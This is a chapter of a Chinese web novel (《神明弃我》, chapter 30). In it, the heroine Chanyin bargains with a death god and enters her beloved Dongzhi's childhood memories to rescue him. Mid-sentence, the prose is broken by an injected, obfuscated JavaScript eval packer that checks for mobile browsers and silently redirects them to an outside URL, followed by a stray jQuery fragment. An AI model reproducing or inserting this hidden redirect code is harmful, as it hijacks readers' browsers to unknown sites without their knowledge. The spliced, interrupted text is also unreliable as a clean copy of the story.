30. 求仁得仁
作品:《神明弃我》 禅因推开神阁的木门,随着吱呀一声,过往尘封的记忆也猛地扑向她。那些点点滴滴的笑容,欢乐,又或者是悲伤,牵挂,他曾经来过的痕迹,最终变成永远缠绕在她心间的雨水,湿湿漉漉,从未离开。
穿过一排排木架子,绕过他的书房的前厅,再一次来到那个隔间。
架子上放着那副水月观音图,禅因的手指在画面上游离,似乎潮湿的情绪随着触觉缠绕着蔓延心头,隔着年月时光,她恍然洞悉---
凡有所求,皆为虚妄。
一睹其相,万缘皆空。
神阁已经很久没有被打扫过了,空气中浮动中细小的尘埃。禅因回忆着这里所有有关他的记忆,跪在倒坐观音像前。
咯吱的木门传来声音,她不敢回头。良久,软软的触感从背部传来。
她一看,竟然是东来神使带着小乐。
她心中莫名生出一股愧疚,似乎觉得要是她从未主动接近过他,他们之间错误的缘分也不会把彼此引进这样的死胡同。
“神使……您,还在这里吗?”
东来深沉沧桑的眼里平静无波,只是轻轻摸了摸小乐的头,语气平淡的似乎在讨论家常:“他和你说过吗,这倒坐观音,是我去中原游历的时候请回来的。”
禅因突然觉得鼻尖有些酸,半晌,无奈笑道:“他说,问观音为何倒坐,叹世人不肯回头。现在想来,这话,倒是在说自己一样。”
“我年轻那会,记不清是多少年前了。我和一个姑娘一同去阿木山殉情,那时我还不是神使,红尘自然是诱人的。”
禅因愣愣抬头,只见老人眼中似乎有笑意。
“不巧,我们想在树上吊死,偏偏当时选的那棵树,刚刚套上脖子,枝干便断了。”
禅因心里一边悲伤,却还是忍不住笑了笑。
“那……后来呢?”
“后来?就没有后来了。我们心里隐约觉得是命运的暗示,便回家了。后来,那个姑娘也是个真性情的,一鼓作气跑出了祀叶,没有嫁人,但过得还不错,我呢,也有自己的路要走了。”
禅因怅然若失:“可,可是……”可一抬头,看到老人平静的神色,却突然心里一沉:“其实,倒也挺好的。”
东来静静地看了禅因许久,不知在想些什么,半晌,突然开口:“我问过他,他不后悔,他愿意。”
禅因的心如同被突然击中,冷风从缝隙里灌进去,凉凉的,却又酸酸的。
“您和那位姑娘,都是豁达的人,在不同的地方都能各自安好。”
她的声音有些哽咽,泪水也跟着落下来:“可是他……他既然不后悔,我又怎会退却。
世人不肯回头,并非是执迷不悟。而是这份牵挂太深太沉,哪怕被牵着撞个头破血流,也好过就此止步,从此一别两宽,就此陌路。”
东来笑了笑:“好孩子,你们会得到你们想要的。”
禅因摸了摸小鹿,把脸颊贴在小鹿毛茸茸的脸上蹭了蹭,轻声道:“你也希望他回来的,他一定会回来的,对吗?”
“小乐,我也会求仁得仁的,对吗?”
*
禅因跪坐在观音前的第三天。
突然,风声先起,禅因手上的佛珠突然断了,珠子滚落一地。下一秒,倒坐观音竟然缓缓转动,面朝禅因,黑雾突起,那张菩萨面孔千变万化,最终仍旧定格在观音面容。
禅因的声音有些颤抖:“是你吗……死神?”
混沌的声音从观音像中传出:“你,在等我?”
“你曾经说,我是神?”
死神沉默片刻,道:“是又如何?”
禅因紧紧直视观音,一字一句道:“我用我的神格做交换,我要知道,到底发生了什么。”
一阵轻笑突然传来。
禅因皱了皱眉:“你……笑什么?”
死神沉默片刻,幽幽的声音似乎从禅因四周浮出:“我第一次在地狱见东止,他也是这样说。
可是他的神力,我尚未品尝到半分,却反为你做了嫁衣。”
禅因皱了皱眉:“你是……什么意思?他曾经告诉我,我和他,有一个前世。是真的吗?”
“罢了,便当做看了一场红尘情缘,但能不能得到善果,都看你们的造化。”
禅因周围浮起金芒,然而落在身上却是细细密密刺骨的疼痛,眩晕中,她听见死神继续解释。
“你现在所在的世界并不是一个真正的世界,而是地狱第十八层阿鼻地狱幻化出的情关。”
“你和东止在原本的世界殉情,死后你被惩罚下地狱。他提出,用自己的神格的福缘和我交换,他愿意代替你在地狱受刑。”
禅因的头开始剧烈地疼痛,一些细碎的片段也开始在脑子里回闪,而她口中只能不断喃喃:
“不要,不要……”
“我送你往生的时候,出了点意外,正巧碰上东止受刑以至第十八层,便将你二人的魂魄全都投进这个阿鼻之内的世界。”
禅因愣了愣,问道:“那他……现在在哪?”
“他的意识已经消散在这个世界里了,虽然这个世界是阿鼻幻化,但几乎和真实世界无异。”
“所以......就连你,也不能救他吗?”她的声音有些颤抖,眼里的迷茫混杂着绝望,一点一点地黯淡下去。“怎样才能救他?或者我应该问,这情关,应该如何破?”
周遭冰冷开始漫溯上来,密密麻麻围绕在她周遭。眼前,千万浅蓝色光点闪烁着,一圈一圈聚集在一起,紧接着不断旋转摇晃,最终汇聚成一圈淡蓝色的圆镜。
死神轻轻叹气,道:“罢了,此事皆因我而起,你们二人永远在此磋磨,倒也是我办事不利。”
“情关所设,唯情一字。情字何解?”
禅因愣愣抬头,喃喃道:“情.....他愿意为我,经受地狱十八层劫难,愿意为我献祭金身,只为渡我成神,愿意千万次徘徊,生生世世只等待我一人。”
长久的沉默。
散落一地的佛珠一个个漂浮在空中,盘旋在禅因的头顶,散发着幽幽的光芒。
“那你呢?你对他,有情吗?”
“自然是有的,我也愿意用我的命,我所有能给出的一切,只要他......只要他能够好好的。”她立刻答道。
她想了想,眼中含泪,又立刻补充道:“我想,我大概明白了,其实我一直以为,我不配得到他的爱,他若爱我,我便受宠若惊地接受,他若是不爱了,那我也会潇洒离开,毕竟,这是理所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024638|157383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应当的。
我总是站在原地,期待他来爱我,我总认为,他是如同神明一般的人,所以我便该如同他的信徒。
可是,我明明也知道,他也会脆弱,而我,本也有能力去主动地爱他。”
死神的声音再度响起:“我不知情为何物,但我希望,你已经找到答案了。”
“穿过这个镜子,你便可以到达东止的意识里。”盘旋在禅因头顶的佛珠绕了一圈又一圈,最终缩小回手串的大小,落在禅因的腕上。
“这十颗佛珠,可以让你在他的意识里现形十次。”
禅因点了点头,下一秒,强烈的失重感袭来,等再次恢复正常,她已经站立在地面上。举目四顾,似乎是一个中原大户人家的院子。她抬起自己的手,才发现原来自己是魂魄的状态。
远处突然传来刀剑乒乓的声音,她一抬眼,就看到一个妇人牵着一个孩子,猛地闯进一间小屋子,又快速地一个人跑出来,用一些杂物堆在门口,然后又向外跑去。
禅因跑到小屋的窗边,往里一看,只见一个半大的孩子,手里紧紧撺着一块桃酥,眉眼间像极了长大后的东止。
这大概便是小时候的东止,禅因看他小小的身体蜷缩在柴草堆里,面上确实淡然无波,原来,他从小便是这样。
心里不由得软下来,立刻掐碎一颗佛珠,身体也变成了实体。她敲了敲窗户,只见小东止一脸惊讶地抬头,她便在他的视线中从窗户外利落地翻墙进来,然后对他笑了笑。
小东止皱了皱眉,身体立刻警觉地绷紧,不由得往后缩了缩,却努力装作平静地问:“你是谁?”
禅因眼睛有些湿润,心里半是心疼又半是无奈:“你叫沈渡?我是天上来的神女,我是来救你的。”
他皱了皱眉,冷冷道:“世界上没有神。”
禅因不由得有些好笑,顺势蹲下来,用指尖勾了勾他的下巴:“骗你的。我是你姑姑的朋友,你有一个姑姑叫神令姝,我没说错吧?”
他稍稍放松了一些,却依然立刻撇过头,并不给禅因亲近的机会。
“夫人......您来干嘛?”
禅因忍不住笑了笑,用指头敲了敲他的头:“夫人?我可是黄花大闺女,我不过虚长你几岁,你叫我姐姐也是使得的。”
东止忍不住想要往一旁躲开禅因的触碰,但又似乎觉得不太礼貌,只能犹豫地问道:“姐姐......我姑姑还好吗?”
禅因刚想回答,只听窗外传来刀剑声:“抓住那个老婆子!”
下一秒,透过窗户的缝隙,只见刚刚把东止送进这个屋子的奶娘身影闪过窗前,紧接着,一支利箭破空而出,禅因一把手抱过小小的东止,另一只手紧紧覆盖在他的眼上。
“别看。”
奶娘的身体倒下,砰的一声,禅因的心猛然揪紧。一群侍卫搜寻一圈,正要打开柴房的门,又突然作罢,扭头走了。
禅因的怀里,小少年没有发出任何动静,她正想把手放下,下一刻,却突然感觉掌心一阵潮湿的温热。她的心也酸酸的,继续把手覆盖在他小小的脸上,过了许久,轻轻帮他擦干了脸上的泪水。
他的面色恢复了平静,那么一个小孩子,却好像什么也没发生:“爹爹娘亲也会这样吗?”